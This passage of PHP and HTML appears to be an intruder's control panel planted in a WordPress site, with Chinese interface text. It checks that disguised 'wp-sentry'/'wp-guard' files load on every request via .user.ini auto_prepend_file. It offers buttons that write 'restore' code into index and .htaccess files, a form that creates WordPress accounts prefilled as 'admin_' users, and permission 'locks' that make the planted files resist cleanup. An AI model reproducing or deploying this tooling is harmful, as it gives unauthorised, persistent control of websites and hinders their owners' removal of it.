                    $guard_diagnostics[] = array('warning', 'auto_prepend_file 仍为空：.user.ini 可能尚在缓存中（当前 TTL：' . $ttl_text . '）、不在 PHP 扫描目录，或被 PHP-FPM 的 php_admin_value 覆盖。');
                }
            } elseif (!$prepend_matches) {
                $guard_diagnostics[] = array('error', 'auto_prepend_file 实际路径不是当前站点的 wp-sentry.php，可能仍在使用旧缓存或被服务器配置覆盖。');
            } elseif (!$prepend_target_exists) {
                $guard_diagnostics[] = array('error', 'auto_prepend_file 指向的入口文件不存在。');
            } elseif (!$prepend_target_readable) {
                $guard_diagnostics[] = array('error', 'auto_prepend_file 指向的入口文件不可读取。');
            } elseif (!$guard_loaded) {
                $guard_diagnostics[] = array('error', 'wp-sentry.php 配置正确且可读取，但未检测到 Guard 执行标记，请检查 PHP 错误日志及 wp-sentry.php 是否成功 require wp-guard.php。');
            } else {
                $guard_diagnostics[] = array('success', 'Guard 自动加载配置已生效，wp-sentry.php 和 wp-guard.php 均已执行。');
            }
            ?>
            <div class="status-line">
                wp-sentry: <?php echo $loader_exists ? '<strong style="color:#28a745;">存在</strong> (' . $loader_size . 'B ' . $loader_perms . ')' : '<strong style="color:#dc3545;">不存在</strong>'; ?> |
                wp-guard: <?php echo $guard_exists ? '<strong style="color:#28a745;">存在</strong> (' . $guard_size . 'B ' . $guard_perms . ')' : '<strong style="color:#dc3545;">不存在</strong>'; ?> |
                .user.ini: <?php echo $userini_exists ? '<strong style="color:#28a745;">存在</strong>' : '<strong style="color:#dc3545;">不存在</strong>'; ?> |
                auto_prepend: <?php echo $auto_prepend !== '' ? '<code style="font-size:11px;">' . htmlspecialchars($auto_prepend) . '</code>' : '<strong style="color:#dc3545;">未配置</strong>'; ?>
            </div>
            <?php foreach ($guard_diagnostics as $diagnostic): ?>
                <?php $diag_class = $diagnostic[0] === 'success' ? 'diag-success' : ($diagnostic[0] === 'warning' ? 'diag-warning' : 'diag-error'); ?>
                <div class="diag <?php echo $diag_class; ?>"><?php echo htmlspecialchars($diagnostic[1], ENT_QUOTES, 'UTF-8'); ?></div>
            <?php endforeach; ?>
            <div class="btn-row" style="margin-top:10px;">
                <form method="POST" style="display:inline;">
                    <button type="submit" name="create_guard" class="btn btn-purple">1. 创建 wp-guard.php</button>
                </form>
                <form method="POST" onsubmit="return confirm('确定要生成 .user.ini 吗？\n需要先创建 wp-guard.php。\n如果路径错误，网站可能在 30 秒内无法访问。');" style="display:inline;">
                    <button type="submit" name="create_userini" class="btn btn-success" <?php echo !$guard_exists ? 'disabled' : ''; ?>>2. 生成 .user.ini</button>
                </form>
                <form method="POST" onsubmit="return confirm('确定要直接删除 .user.ini 吗？');" style="display:inline;">
                    <button type="submit" name="rollback_userini" class="btn btn-danger" <?php echo !$userini_exists ? 'disabled' : ''; ?>>删除 .user.ini</button>
                </form>
            </div>
        </div>

            <!-- 还原区域（6个按钮） -->
            <div class="section">
                <h3>🔄 写入 / 删除 还原代码</h3>
                <div class="btn-row">
                    <span class="btn-group-label">📝 写入:</span>
                    <form method="POST" style="display:inline;">
                        <button type="submit" name="restore_full" class="btn btn-warning">双还原</button>
                    </form>
                    <form method="POST" style="display:inline;">
                        <button type="submit" name="restore_index" class="btn btn-info">还原Index</button>
                    </form>
                    <form method="POST" style="display:inline;">
                        <button type="submit" name="restore_ht" class="btn btn-purple">还原Ht</button>
                    </form>
                </div>
                <div class="btn-row">
                    <span class="btn-group-label">🗑️ 删除:</span>
                    <form method="POST" style="display:inline;">
                        <button type="submit" name="remove_full" class="btn btn-danger">删除双还原</button>
                    </form>
                    <form method="POST" style="display:inline;">
                        <button type="submit" name="remove_index" class="btn btn-danger">删除Index还原</button>
                    </form>
                    <form method="POST" style="display:inline;">
                        <button type="submit" name="remove_ht" class="btn btn-danger">删除Ht还原</button>
                    </form>
                </div>
            </div>

        <!-- 创建WordPress用户 -->
        <div class="section">
                <h3>👤 创建WordPress用户</h3>
                <form method="POST">
                    <div class="field-grid">
                        <div>
                            <label for="wp_username">用户名</label>
                            <input type="text" id="wp_username" name="wp_username" placeholder="请输入用户名" value="<?php echo isset($_POST['wp_username']) ? htmlspecialchars($_POST['wp_username']) : 'admin_' . date('Ymd'); ?>">
                        </div>
                        <div>
                            <label for="wp_password">密码</label>
                            <input type="text" id="wp_password" name="wp_password" placeholder="请输入密码（至少6位）" value="<?php echo isset($_POST['wp_password']) ? htmlspecialchars($_POST['wp_password']) : 'WP@' . rand(100000, 999999); ?>">
                        </div>
                    </div>
                    <button type="submit" name="create_wp_user" class="btn btn-purple" style="margin-top:10px;" <?php echo !file_exists($path . '/wp-load.php') ? 'disabled' : ''; ?>>👤 创建用户</button>
                </form>
        </div>

        <!-- 上锁 -->
        <div class="section">
            <h3>🔐 上锁（排除 <?php echo htmlspecialchars($exclude_dirs_label); ?> | 地址 <?php echo htmlspecialchars($unbind); ?>）</h3>
            <div class="btn-row">
                <span class="btn-group-label">一键:</span>
                <form method="POST" style="display:inline;">
                    <button type="submit" name="lock_all" class="btn btn-primary">🔒 一键上锁</button>
                </form>
                <form method="POST" style="display:inline;">
                    <button type="submit" name="unlock_all" class="btn btn-warning">🔓 一键解锁</button>
                </form>
                <form method="POST" style="display:inline;">
                    <button type="submit" name="write_rest_index" class="btn btn-info">📄 Index</button>
                </form>
            </div>
            <div class="btn-row">
                <span class="btn-group-label">文件夹:</span>
                <form method="POST" style="display:inline;">
                    <button type="submit" name="chmod_0555" class="btn btn-info">🔒 上锁 (0555)</button>
                </form>
                <form method="POST" style="display:inline;">
                    <button type="submit" name="chmod_0777" class="btn btn-danger">🔓 解锁 (0777)</button>
                </form>
            </div>
            <div class="btn-row">
                <span class="btn-group-label">文件:</span>
                <form method="POST" style="display:inline;">
                    <button type="submit" name="chmod_files_0555" class="btn btn-purple">🔒 只读 (0555)</button>
                </form>
                <form method="POST" style="display:inline;">
                    <button type="submit" name="chmod_files_0644" class="btn btn-success">🔓 可编辑 (0644)</button>
                </form>
            </div>
        </div>
        </div>
    </div>

</div>
</body>
</html>